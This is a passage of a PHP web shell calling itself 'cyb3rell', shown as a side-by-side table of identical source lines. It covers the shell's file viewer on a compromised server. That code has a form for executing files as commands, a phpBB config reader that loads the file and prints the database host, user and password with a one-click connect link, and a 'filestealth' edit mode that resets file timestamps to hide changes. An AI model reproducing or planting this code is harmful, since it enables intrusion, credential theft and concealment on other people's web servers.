| 4409 | foreach($arr as $t) | 4409 | foreach($arr as $t) |
| 4410 | 4410 | ||
| 4411 | { | 4411 | { |
| 4412 | 4412 | ||
| 4413 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} | 4413 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} |
| 4414 | 4414 | ||
| 4415 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} | 4415 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} |
| 4416 | 4416 | ||
| 4417 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} | 4417 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} |
| 4418 | 4418 | ||
| 4419 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; | 4419 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; |
| 4420 | 4420 | ||
| 4421 | } | 4421 | } |
| 4422 | 4422 | ||
| 4423 | echo "<hr size=\"1\" noshade>"; | 4423 | echo "<hr size=\"1\" noshade>"; |
| 4424 | 4424 | ||
| 4425 | if ($ft == "info") | 4425 | if ($ft == "info") |
| 4426 | 4426 | ||
| 4427 | { | 4427 | { |
| 4428 | 4428 | ||
| 4429 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; | 4429 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; |
| 4430 | 4430 | ||
| 4431 | if (!$win) | 4431 | if (!$win) |
| 4432 | 4432 | ||
| 4433 | { | 4433 | { |
| 4434 | 4434 | ||
| 4435 | echo "<tr><td><b>Owner/Group</b></td><td> "; | 4435 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
| 4436 | 4436 | ||
| 4437 | $ow = posix_getpwuid(fileowner($d.$f)); | 4437 | $ow = posix_getpwuid(fileowner($d.$f)); |
| 4438 | 4438 | ||
| 4439 | $gr = posix_getgrgid(filegroup($d.$f)); | 4439 | $gr = posix_getgrgid(filegroup($d.$f)); |
| 4440 | 4440 | ||
| 4441 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); | 4441 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); |
| 4442 | 4442 | ||
| 4443 | } | 4443 | } |
| 4444 | 4444 | ||
| 4445 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; | 4445 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; |
| 4446 | 4446 | ||
| 4447 | $fi = fopen($d.$f,"rb"); | 4447 | $fi = fopen($d.$f,"rb"); |
| 4448 | 4448 | ||
| 4449 | if ($fi) | 4449 | if ($fi) |
| 4450 | 4450 | ||
| 4451 | { | 4451 | { |
| 4452 | 4452 | ||
| 4453 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} | 4453 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} |
| 4454 | 4454 | ||
| 4455 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} | 4455 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} |
| 4456 | 4456 | ||
| 4457 | $n = 0; | 4457 | $n = 0; |
| 4458 | 4458 | ||
| 4459 | $a0 = "00000000<br>"; | 4459 | $a0 = "00000000<br>"; |
| 4460 | 4460 | ||
| 4461 | $a1 = ""; | 4461 | $a1 = ""; |
| 4462 | 4462 | ||
| 4463 | $a2 = ""; | 4463 | $a2 = ""; |
| 4464 | 4464 | ||
| 4465 | for ($i=0; $i<strlen($str); $i++) | 4465 | for ($i=0; $i<strlen($str); $i++) |
| 4466 | 4466 | ||
| 4467 | { | 4467 | { |
| 4468 | 4468 | ||
| 4469 | $a1 .= sprintf("%02X",ord($str[$i]))." "; | 4469 | $a1 .= sprintf("%02X",ord($str[$i]))." "; |
| 4470 | 4470 | ||
| 4471 | switch (ord($str[$i])) | 4471 | switch (ord($str[$i])) |
| 4472 | 4472 | ||
| 4473 | { | 4473 | { |
| 4474 | 4474 | ||
| 4475 | case 0: $a2 .= "<font>0</font>"; break; | 4475 | case 0: $a2 .= "<font>0</font>"; break; |
| 4476 | 4476 | ||
| 4477 | case 32: | 4477 | case 32: |
| 4478 | 4478 | ||
| 4479 | case 10: | 4479 | case 10: |
| 4480 | 4480 | ||
| 4481 | case 13: $a2 .= " "; break; | 4481 | case 13: $a2 .= " "; break; |
| 4482 | 4482 | ||
| 4483 | default: $a2 .= htmlspecialchars($str[$i]); | 4483 | default: $a2 .= htmlspecialchars($str[$i]); |
| 4484 | 4484 | ||
| 4485 | } | 4485 | } |
| 4486 | 4486 | ||
| 4487 | $n++; | 4487 | $n++; |
| 4488 | 4488 | ||
| 4489 | if ($n == $hexdump_rows) | 4489 | if ($n == $hexdump_rows) |
| 4490 | 4490 | ||
| 4491 | { | 4491 | { |
| 4492 | 4492 | ||
| 4493 | $n = 0; | 4493 | $n = 0; |
| 4494 | 4494 | ||
| 4495 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} | 4495 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} |
| 4496 | 4496 | ||
| 4497 | $a1 .= "<br>"; | 4497 | $a1 .= "<br>"; |
| 4498 | 4498 | ||
| 4499 | $a2 .= "<br>"; | 4499 | $a2 .= "<br>"; |
| 4500 | 4500 | ||
| 4501 | } | 4501 | } |
| 4502 | 4502 | ||
| 4503 | } | 4503 | } |
| 4504 | 4504 | ||
| 4505 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} | 4505 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} |
| 4506 | 4506 | ||
| 4507 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; | 4507 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; |
| 4508 | 4508 | ||
| 4509 | } | 4509 | } |
| 4510 | 4510 | ||
| 4511 | $encoded = ""; | 4511 | $encoded = ""; |
| 4512 | 4512 | ||
| 4513 | if ($base64 == 1) | 4513 | if ($base64 == 1) |
| 4514 | 4514 | ||
| 4515 | { | 4515 | { |
| 4516 | 4516 | ||
| 4517 | echo "<b>Base64 Encode</b><br>"; | 4517 | echo "<b>Base64 Encode</b><br>"; |
| 4518 | 4518 | ||
| 4519 | $encoded = base64_encode(file_get_contents($d.$f)); | 4519 | $encoded = base64_encode(file_get_contents($d.$f)); |
| 4520 | 4520 | ||
| 4521 | } | 4521 | } |
| 4522 | 4522 | ||
| 4523 | elseif($base64 == 2) | 4523 | elseif($base64 == 2) |
| 4524 | 4524 | ||
| 4525 | { | 4525 | { |
| 4526 | 4526 | ||
| 4527 | echo "<b>Base64 Encode + Chunk</b><br>"; | 4527 | echo "<b>Base64 Encode + Chunk</b><br>"; |
| 4528 | 4528 | ||
| 4529 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); | 4529 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); |
| 4530 | 4530 | ||
| 4531 | } | 4531 | } |
| 4532 | 4532 | ||
| 4533 | elseif($base64 == 3) | 4533 | elseif($base64 == 3) |
| 4534 | 4534 | ||
| 4535 | { | 4535 | { |
| 4536 | 4536 | ||
| 4537 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; | 4537 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; |
| 4538 | 4538 | ||
| 4539 | $encoded = base64_encode(file_get_contents($d.$f)); | 4539 | $encoded = base64_encode(file_get_contents($d.$f)); |
| 4540 | 4540 | ||
| 4541 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); | 4541 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); |
| 4542 | 4542 | ||
| 4543 | } | 4543 | } |
| 4544 | 4544 | ||
| 4545 | elseif($base64 == 4) | 4545 | elseif($base64 == 4) |
| 4546 | 4546 | ||
| 4547 | { | 4547 | { |
| 4548 | 4548 | ||
| 4549 | $text = file_get_contents($d.$f); | 4549 | $text = file_get_contents($d.$f); |
| 4550 | 4550 | ||
| 4551 | $encoded = base64_decode($text); | 4551 | $encoded = base64_decode($text); |
| 4552 | 4552 | ||
| 4553 | echo "<b>Base64 Decode"; | 4553 | echo "<b>Base64 Decode"; |
| 4554 | 4554 | ||
| 4555 | if (base64_encode($encoded) != $text) {echo " (failed)";} | 4555 | if (base64_encode($encoded) != $text) {echo " (failed)";} |
| 4556 | 4556 | ||
| 4557 | echo "</b><br>"; | 4557 | echo "</b><br>"; |
| 4558 | 4558 | ||
| 4559 | } | 4559 | } |
| 4560 | 4560 | ||
| 4561 | if (!empty($encoded)) | 4561 | if (!empty($encoded)) |
| 4562 | 4562 | ||
| 4563 | { | 4563 | { |
| 4564 | 4564 | ||
| 4565 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; | 4565 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; |
| 4566 | 4566 | ||
| 4567 | } | 4567 | } |
| 4568 | 4568 | ||
| 4569 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> | 4569 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> |
| 4570 | 4570 | ||
| 4571 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> | 4571 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> |
| 4572 | 4572 | ||
| 4573 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> | 4573 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> |
| 4574 | 4574 | ||
| 4575 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> | 4575 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> |
| 4576 | 4576 | ||
| 4577 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> | 4577 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> |
| 4578 | 4578 | ||
| 4579 | <P>"; | 4579 | <P>"; |
| 4580 | 4580 | ||
| 4581 | } | 4581 | } |
| 4582 | 4582 | ||
| 4583 | elseif ($ft == "html") | 4583 | elseif ($ft == "html") |
| 4584 | 4584 | ||
| 4585 | { | 4585 | { |
| 4586 | 4586 | ||
| 4587 | if ($white) {@ob_clean();} | 4587 | if ($white) {@ob_clean();} |
| 4588 | 4588 | ||
| 4589 | echo $r; | 4589 | echo $r; |
| 4590 | 4590 | ||
| 4591 | if ($white) {cyb3rexit();} | 4591 | if ($white) {cyb3rexit();} |
| 4592 | 4592 | ||
| 4593 | } | 4593 | } |
| 4594 | 4594 | ||
| 4595 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} | 4595 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} |
| 4596 | 4596 | ||
| 4597 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} | 4597 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} |
| 4598 | 4598 | ||
| 4599 | elseif ($ft == "phpsess") | 4599 | elseif ($ft == "phpsess") |
| 4600 | 4600 | ||
| 4601 | { | 4601 | { |
| 4602 | 4602 | ||
| 4603 | echo "<pre>"; | 4603 | echo "<pre>"; |
| 4604 | 4604 | ||
| 4605 | $v = explode("|",$r); | 4605 | $v = explode("|",$r); |
| 4606 | 4606 | ||
| 4607 | echo $v[0]."<br>"; | 4607 | echo $v[0]."<br>"; |
| 4608 | 4608 | ||
| 4609 | var_dump(unserialize($v[1])); | 4609 | var_dump(unserialize($v[1])); |
| 4610 | 4610 | ||
| 4611 | echo "</pre>"; | 4611 | echo "</pre>"; |
| 4612 | 4612 | ||
| 4613 | } | 4613 | } |
| 4614 | 4614 | ||
| 4615 | elseif ($ft == "exe") | 4615 | elseif ($ft == "exe") |
| 4616 | 4616 | ||
| 4617 | { | 4617 | { |
| 4618 | 4618 | ||
| 4619 | $ext = explode(".",$f); | 4619 | $ext = explode(".",$f); |
| 4620 | 4620 | ||
| 4621 | $c = count($ext)-1; | 4621 | $c = count($ext)-1; |
| 4622 | 4622 | ||
| 4623 | $ext = $ext[$c]; | 4623 | $ext = $ext[$c]; |
| 4624 | 4624 | ||
| 4625 | $ext = strtolower($ext); | 4625 | $ext = strtolower($ext); |
| 4626 | 4626 | ||
| 4627 | $rft = ""; | 4627 | $rft = ""; |
| 4628 | 4628 | ||
| 4629 | foreach($exeftypes as $k=>$v) | 4629 | foreach($exeftypes as $k=>$v) |
| 4630 | 4630 | ||
| 4631 | { | 4631 | { |
| 4632 | 4632 | ||
| 4633 | if (in_array($ext,$v)) {$rft = $k; break;} | 4633 | if (in_array($ext,$v)) {$rft = $k; break;} |
| 4634 | 4634 | ||
| 4635 | } | 4635 | } |
| 4636 | 4636 | ||
| 4637 | $cmd = str_replace("%f%",$f,$rft); | 4637 | $cmd = str_replace("%f%",$f,$rft); |
| 4638 | 4638 | ||
| 4639 | echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; | 4639 | echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; |
| 4640 | 4640 | ||
| 4641 | } | 4641 | } |
| 4642 | 4642 | ||
| 4643 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} | 4643 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} |
| 4644 | 4644 | ||
| 4645 | elseif ($ft == "code") | 4645 | elseif ($ft == "code") |
| 4646 | 4646 | ||
| 4647 | { | 4647 | { |
| 4648 | 4648 | ||
| 4649 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) | 4649 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) |
| 4650 | 4650 | ||
| 4651 | { | 4651 | { |
| 4652 | 4652 | ||
| 4653 | $arr = explode("\n",$r); | 4653 | $arr = explode("\n",$r); |
| 4654 | 4654 | ||
| 4655 | if (count($arr == 18)) | 4655 | if (count($arr == 18)) |
| 4656 | 4656 | ||
| 4657 | { | 4657 | { |
| 4658 | 4658 | ||
| 4659 | include($d.$f); | 4659 | include($d.$f); |
| 4660 | 4660 | ||
| 4661 | echo "<b>phpBB configuration is detected in this file!<br>"; | 4661 | echo "<b>phpBB configuration is detected in this file!<br>"; |
| 4662 | 4662 | ||
| 4663 | if ($dbms == "mysql4") {$dbms = "mysql";} | 4663 | if ($dbms == "mysql4") {$dbms = "mysql";} |
| 4664 | 4664 | ||
| 4665 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} | 4665 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} |
| 4666 | 4666 | ||
| 4667 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";} | 4667 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by cyb3rell. Please, report us for fix.";} |
| 4668 | 4668 | ||
| 4669 | echo "Parameters for manual connect:<br>"; | 4669 | echo "Parameters for manual connect:<br>"; |
| 4670 | 4670 | ||
| 4671 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); | 4671 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); |
| 4672 | 4672 | ||
| 4673 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} | 4673 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} |
| 4674 | 4674 | ||
| 4675 | echo "</b><hr size=\"1\" noshade>"; | 4675 | echo "</b><hr size=\"1\" noshade>"; |
| 4676 | 4676 | ||
| 4677 | } | 4677 | } |
| 4678 | 4678 | ||
| 4679 | } | 4679 | } |
| 4680 | 4680 | ||
| 4681 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; | 4681 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; |
| 4682 | 4682 | ||
| 4683 | if (!empty($white)) {@ob_clean();} | 4683 | if (!empty($white)) {@ob_clean();} |
| 4684 | 4684 | ||
| 4685 | highlight_file($d.$f); | 4685 | highlight_file($d.$f); |
| 4686 | 4686 | ||
| 4687 | if (!empty($white)) {cyb3rexit();} | 4687 | if (!empty($white)) {cyb3rexit();} |
| 4688 | 4688 | ||
| 4689 | echo "</div>"; | 4689 | echo "</div>"; |
| 4690 | 4690 | ||
| 4691 | } | 4691 | } |
| 4692 | 4692 | ||
| 4693 | elseif ($ft == "download") | 4693 | elseif ($ft == "download") |
| 4694 | 4694 | ||
| 4695 | { | 4695 | { |
| 4696 | 4696 | ||
| 4697 | @ob_clean(); | 4697 | @ob_clean(); |
| 4698 | 4698 | ||
| 4699 | header("Content-type: application/octet-stream"); | 4699 | header("Content-type: application/octet-stream"); |
| 4700 | 4700 | ||
| 4701 | header("Content-length: ".filesize($d.$f)); | 4701 | header("Content-length: ".filesize($d.$f)); |
| 4702 | 4702 | ||
| 4703 | header("Content-disposition: attachment; filename=\"".$f."\";"); | 4703 | header("Content-disposition: attachment; filename=\"".$f."\";"); |
| 4704 | 4704 | ||
| 4705 | echo $r; | 4705 | echo $r; |
| 4706 | 4706 | ||
| 4707 | exit; | 4707 | exit; |
| 4708 | 4708 | ||
| 4709 | } | 4709 | } |
| 4710 | 4710 | ||
| 4711 | elseif ($ft == "notepad") | 4711 | elseif ($ft == "notepad") |
| 4712 | 4712 | ||
| 4713 | { | 4713 | { |
| 4714 | 4714 | ||
| 4715 | @ob_clean(); | 4715 | @ob_clean(); |
| 4716 | 4716 | ||
| 4717 | header("Content-type: text/plain"); | 4717 | header("Content-type: text/plain"); |
| 4718 | 4718 | ||
| 4719 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); | 4719 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); |
| 4720 | 4720 | ||
| 4721 | echo($r); | 4721 | echo($r); |
| 4722 | 4722 | ||
| 4723 | exit; | 4723 | exit; |
| 4724 | 4724 | ||
| 4725 | } | 4725 | } |
| 4726 | 4726 | ||
| 4727 | elseif ($ft == "img") | 4727 | elseif ($ft == "img") |
| 4728 | 4728 | ||
| 4729 | { | 4729 | { |
| 4730 | 4730 | ||
| 4731 | $inf = getimagesize($d.$f); | 4731 | $inf = getimagesize($d.$f); |
| 4732 | 4732 | ||
| 4733 | if (!$white) | 4733 | if (!$white) |
| 4734 | 4734 | ||
| 4735 | { | 4735 | { |
| 4736 | 4736 | ||
| 4737 | if (empty($imgsize)) {$imgsize = 20;} | 4737 | if (empty($imgsize)) {$imgsize = 20;} |
| 4738 | 4738 | ||
| 4739 | $width = $inf[0]/100*$imgsize; | 4739 | $width = $inf[0]/100*$imgsize; |
| 4740 | 4740 | ||
| 4741 | $height = $inf[1]/100*$imgsize; | 4741 | $height = $inf[1]/100*$imgsize; |
| 4742 | 4742 | ||
| 4743 | echo "<center><b>Size:</b> "; | 4743 | echo "<center><b>Size:</b> "; |
| 4744 | 4744 | ||
| 4745 | $sizes = array("100","50","20"); | 4745 | $sizes = array("100","50","20"); |
| 4746 | 4746 | ||
| 4747 | foreach ($sizes as $v) | 4747 | foreach ($sizes as $v) |
| 4748 | 4748 | ||
| 4749 | { | 4749 | { |
| 4750 | 4750 | ||
| 4751 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; | 4751 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; |
| 4752 | 4752 | ||
| 4753 | if ($imgsize != $v ) {echo $v;} | 4753 | if ($imgsize != $v ) {echo $v;} |
| 4754 | 4754 | ||
| 4755 | else {echo "<u>".$v."</u>";} | 4755 | else {echo "<u>".$v."</u>";} |
| 4756 | 4756 | ||
| 4757 | echo "</a> "; | 4757 | echo "</a> "; |
| 4758 | 4758 | ||
| 4759 | } | 4759 | } |
| 4760 | 4760 | ||
| 4761 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; | 4761 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; |
| 4762 | 4762 | ||
| 4763 | } | 4763 | } |
| 4764 | 4764 | ||
| 4765 | else | 4765 | else |
| 4766 | 4766 | ||
| 4767 | { | 4767 | { |
| 4768 | 4768 | ||
| 4769 | @ob_clean(); | 4769 | @ob_clean(); |
| 4770 | 4770 | ||
| 4771 | $ext = explode($f,"."); | 4771 | $ext = explode($f,"."); |
| 4772 | 4772 | ||
| 4773 | $ext = $ext[count($ext)-1]; | 4773 | $ext = $ext[count($ext)-1]; |
| 4774 | 4774 | ||
| 4775 | header("Content-type: ".$inf["mime"]); | 4775 | header("Content-type: ".$inf["mime"]); |
| 4776 | 4776 | ||
| 4777 | readfile($d.$f); | 4777 | readfile($d.$f); |
| 4778 | 4778 | ||
| 4779 | exit; | 4779 | exit; |
| 4780 | 4780 | ||
| 4781 | } | 4781 | } |
| 4782 | 4782 | ||
| 4783 | } | 4783 | } |
| 4784 | 4784 | ||
| 4785 | elseif ($ft == "edit") | 4785 | elseif ($ft == "edit") |
| 4786 | 4786 | ||
| 4787 | { | 4787 | { |
| 4788 | 4788 | ||
| 4789 | if (!empty($submit)) | 4789 | if (!empty($submit)) |
| 4790 | 4790 | ||
| 4791 | { | 4791 | { |
| 4792 | 4792 | ||
| 4793 | if ($filestealth) {$stat = stat($d.$f);} | 4793 | if ($filestealth) {$stat = stat($d.$f);} |
| 4794 | 4794 | ||
| 4795 | $fp = fopen($d.$f,"w"); | 4795 | $fp = fopen($d.$f,"w"); |
| 4796 | 4796 | ||
| 4797 | if (!$fp) {echo "<b>Can't write to file!</b>";} | 4797 | if (!$fp) {echo "<b>Can't write to file!</b>";} |
| 4798 | 4798 | ||
| 4799 | else | 4799 | else |
| 4800 | 4800 | ||
| 4801 | { | 4801 | { |
| 4802 | 4802 | ||
| 4803 | echo "<b>Saved!</b>"; | 4803 | echo "<b>Saved!</b>"; |
| 4804 | 4804 | ||
| 4805 | fwrite($fp,$edit_text); | 4805 | fwrite($fp,$edit_text); |
| 4806 | 4806 | ||
| 4807 | fclose($fp); | 4807 | fclose($fp); |
| 4808 | 4808 | ||
| 4809 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} | 4809 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} |
| 4810 | 4810 | ||
| 4811 | $r = $edit_text; | 4811 | $r = $edit_text; |
| 4812 | 4812 | ||
| 4813 | } | 4813 | } |
| 4814 | 4814 | ||
| 4815 | } | 4815 | } |
| 4816 | 4816 | ||
| 4817 | $rows = count(explode("\r\n",$r)); | 4817 | $rows = count(explode("\r\n",$r)); |
| 4818 | 4818 | ||
| 4819 | if ($rows < 10) {$rows = 10;} | 4819 | if ($rows < 10) {$rows = 10;} |
| 4820 | 4820 | ||
| 4821 | if ($rows > 30) {$rows = 30;} | 4821 | if ($rows > 30) {$rows = 30;} |
| 4822 | 4822 | ||
| 4823 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; | 4823 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; |
| 4824 | 4824 | ||
| 4825 | } | 4825 | } |
| 4826 | 4826 | ||
| 4827 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} | 4827 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} |
| 4828 | 4828 | ||
